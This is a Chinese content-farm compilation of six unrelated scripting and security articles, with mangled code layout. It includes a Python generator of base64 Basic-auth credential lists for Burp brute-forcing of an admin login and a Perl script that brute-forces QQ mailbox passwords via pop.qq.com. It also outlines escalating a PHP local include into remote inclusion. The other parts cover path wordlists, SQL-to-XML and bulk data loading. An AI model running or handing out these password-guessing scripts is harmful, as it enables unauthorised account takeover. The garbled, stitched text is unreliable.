爆破字典生成小脚本脚本安全((共6篇))由网友“陈年山楂丸”投稿提供,以下是小编帮大家整理后的爆破字典生成小脚本脚本安全,欢迎大家分享。
篇1:爆破字典生成小脚本脚本安全
遇到一套系统,后台管理登录无验证码,准备爆破试试,burp抓到的包如下:
1
2
3
4
5
6
7
8
9
10
GET /admin/ HTTP/1.1
Host: www.myhack58.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:28.0) Gecko/0101 Firefox/28.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: keep-alive
If-Modified-Since: Wed, 07 May 03:04:54 GMT
If-None-Match: W/
“37424//”
Authorization: Basic MTExOjIyMg==
发现有一串base64编码处理的,解码之后正是提交的 帐号:密码的组合,只好写个小脚本将已有的字典文件进行处理了,贴上代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#coding:utf-8
import
sys
import
base64
if
len
(sys.argv)<
3
:
print
“Usage:”
+
“ admincrack.py ”
+
“userlist ”
+
“passlist”
sys.exit
def
admincrack(userfile,passfile):
uf
=
open
(userfile,
'r'
)
pf
=
open
(passfile,
'r'
)
for
user
in
uf.readlines():
#指定指针的位置,不指定只会遍历userfile中的第一行
pf.seek(
0
)
for
passwd
in
pf.readlines():
user
=
user.strip(
“rn”
)
passwd
=
passwd.strip(
“rn”
)
hashvul
=
user
+
':'
+
passwd
base64hash
=
base64.b64encode(hashvul)
print
user,passwd,base64hash
if
__name__
=
=
“__main__”
:
admincrack(sys.argv[
1
],sys.argv[
2
])
生成之后先将base64hash打印出来,就会构成intruder用到的字典,再将user,passwd,base64hash一起打印出来,构成后期爆破成功需要查询对应帐号和密码明文的字典,
爆破字典生成小脚本脚本安全
,
篇2:邮箱爆破脚本脚本安全
#!/usr/bin/perl
use Net::POP3;
$email=“pop.qq.com”;
$pop = Net::POP3->new($email)or die(“ERROR: Unable to initiate. ”);
print $pop->banner();
$pop->quit;
$i=0;
open(fp1,“user.txt”);
@array1=
open(fp2,“pass.txt”);
@array2=
foreach $a(@array1) {
$u=substr($a,0,length($a)-1);
$u=$u.“@qq.com”;
foreach $b(@array2) {
$p=substr($b,0,length($b)-1);
print “cracked with ”.$u.“-----”.$p.“n”;
$i=$i+1;
$pop = Net::POP3->new($email)or die(“ERROR: Unable to initiate. ”);
$m=$pop->login($u,$p);
if($m>0)
{
print $u.“------------”.$p.“----”.“success”.“n”;
$pop->quit;
}
else
{
print $u.“------------”.$p.“----”.“failed”.“n”;
$pop->quit;
}
}
}
print $i;
篇3:路径字典收集脚本
一个好的渗透测试员,肯定有一本自己路径字典...在渗透测试时可以帮上不少忙
但好的字典,均是自己平时慢慢收集攒起来的.因此才有了这个脚本的.
脚本会自动判断是否重复,不重复则写入
放到快捷启动栏,设置上图标...嘿嘿,很是方便呀 这脚本陪了不少时间了,今天优化下,写上注释给喜欢VBS的朋友们
Str = Trim(InputBox(Wscript.ScriptName&“请输入:”, “输入”, “” ))
'提示用户输入,并清除两边的空格
If Str =“” Then Wscript.Quit
'若用户输入为空则退出脚本
Name=Replace(Wscript.ScriptFullName,“vbs”,“txt”)
'设置文件名与当前脚本名字相同,但后缀为TXT
Set Fso=CreateObject(“Scripting.FileSystemObject”)
With Fso.OpenTextFile(Name,1,False,-2)
Do While .AtendoFline True
data=Trim(.ReadLine)
If LCase(Str) = LCase(data) Then Wscript.Quit
'判断是否有重复,重复则退出脚本
Loop
.Close
End With
With Fso.OpenTextFile(Name,8,True)
If InStr(Str,“.”) = 0 Then
.WriteLine Trim(Str)
.WriteLine Trim(Str)&“.asp”
Else
.WriteLine Trim(Str)
End If
.Close
End With
'若不包含.则写入 str值 和 带 ASP后缀的STR值,否则只输入STR值
MsgBox Str
Set Fso=Nothing
篇4:怎样用SQL生成XML脚本安全
以前在介绍SQL2k的时候已经提到了SQL2k对XML的支持,使用for XML语句就可以很容易的把执行的结果转化为一个XML,这样可以在很大程度上提高系统运行效率和开发速度,详细的内容请参见Books Online,
但是在使用ADO(Required ADO 2.6)访问返回的XML的方式和原来的Recordset是有所不同的。如果你还是使用Recordset访问的话,只能得到一个Unicode格式的XML Schema,而无法得到XML的内容,
其实这个问题也是很容易就能解决的,只是我自以为很熟悉ADO,没有仔细看Help,所以没有发现ADO是采用Stream的方式来得到和返回XML的。
Command 对象有两个属性,叫Input Stream和Output Stream,属性的值是一个IUnknown接口。可以把一个XML Parser的接口赋给它,或者是直接用Request、Response等。这样的好处是不需要再去生成一个Recordset,不需要去保存这些数据,从而节省了系统开销。
篇5:关于defined脚本安全
很多php使用defined来防止外部直接访问php文件,从而保证了只让内部php文件include等调用,如下面:
//tag.php
if (!defined(“X”)) {
echo “You Cannot Access This Script. Directly, Have a Nice Day.”;
exit();
}
?>
这样的代码可以解决很多的安全问题,比如变量未定义[应该说在本文件内未定义]。
但是这样的在本地包含漏洞前就没什么意义了。比如进来看一代码
common.php文件里:
if ( !defined('X') )
{
die('Do not access this file directly.');
}
if ( !isset($root_path) )
{
$root_path = './';
}
require_once($root_path . 'config.php');
如果没有!defined('X') 的限制那么我们,这里$root_path未定义导致了一个远程包含,
而在改脚本又存在一个update-->include的2次攻击导致的本地包含,那么我们可以通过这个本地包含漏洞包含common.php导致突破!defined('X'),转化为远程包含。
篇6:大数据量生成脚本及导入策略
性能测试过程中,如果需要构造一张表大数据量基础数据时,有两点需要注意:如何生成unl文件(此文件是后缀为,unl的数据文件,格式为,按表列分割的数据记录,例如:10001|33333|),生成的unl文件是否可以一次性导入到数据库相应表中。
为了方便叙述,假设数据库存在表test(id integer,name integer,primary key(id,name))。若想为此表导入1000W条记录,手动insert不现实,一般数据库系统都会提供特定指令,实现数据的导入导出操作,我们可以预先构造好相应格式的unl文件,再调用数据库导入指令,实现数据的快速导入。以Informix数据库为例,数据导入操作的命令为:load from testdata.unl insert into test;现在,剩下的问题就是如何生成一千万行的unl文件了。
了解shell脚本的同学会很快想到使用awk实现,这里也如大家所想,使用awk实现:
[plain]
#!/bin/sh
awk 'BEGIN{
dbfile=sprintf(“testdata.unl”);
for(i=0; i<1000; i++)
{
for(j=0;j<10000;j++)
{
printf “100%05d|9%08d|n”,i,j 》dbfile
}
printf “%d completed.n”,i
}
}' /dev/null
这样,会生成一个有1000W条记录的unl文件,于是我们兴冲冲使用“load from testdata.unl insert into test;”指令导入数据,结果发现报错了。因为一次性导入的数据太多,数据库系统的缓存、日志系统空间不够用,无法一次性记录太多的记录(或者因为操作时间太长,直接超时了“Long transaction aborted”)。
有两种解决方案:提高缓存、日志系统大小;缩小单个unl数据量,
显而易见,后者更为合理。
如果将一千万的unl分成100小份,每份10W条,就好处理多了。脚本略作修改,如下:
[plain]
#!/bin/sh
awk 'BEGIN{
for(i=0; i<100; i++)
{
dbfile=sprintf(“mytable%02d.unl”,i);
for(j=0;j<100000;j++)
{
printf “100%05d|9%08d|n”,i,j 》dbfile
}
printf “%d completed.n”,i
}
}' /dev/null
此时,面对100个文件,要操作一百次,又有点头大。本着偷懒的原则,自然想到使用自动去做。于是,自动导入到test表中的shell脚本也新鲜出炉:
[plain]
#!/bin/sh
#生成100条的sql脚本
awk 'BEGIN{
dbfile=sprintf(“loadData.sql”);
for(i=0; i<100; i++)
{
printf “load from mytable%02d.unl insert into test;”,i 》dbfile
}
printf “completed.”
}' /dev/null
#执行脚本
dbaccess mydatabank loadData.sql
当然,如果想更深一步“偷懒”,可以把这些shell放一起,不过要注意可读性,建议再新建一个shell,顺序调用这两个shell,便于后续维护。
★ 学习·游戏作文
★ html学习总结
【爆破字典生成小脚本脚本安全(共6篇)】相关文章:
seo面试题与答案2023-02-15
社区面试题及答案2022-06-16
提取数字――字符串、正则面试题2022-08-17
hr面试题及答案2022-10-01
让脚本躲过杀毒软件脚本安全2023-08-31
python开发的小球完全弹性碰撞游戏代码2022-12-05
Oracle SQL Injection Cheat Sheet脚本安全2023-02-16
多媒体制作与教学论文2023-10-10
Python使用稀疏矩阵节省内存实例2023-07-12
面试题及答案2023-04-15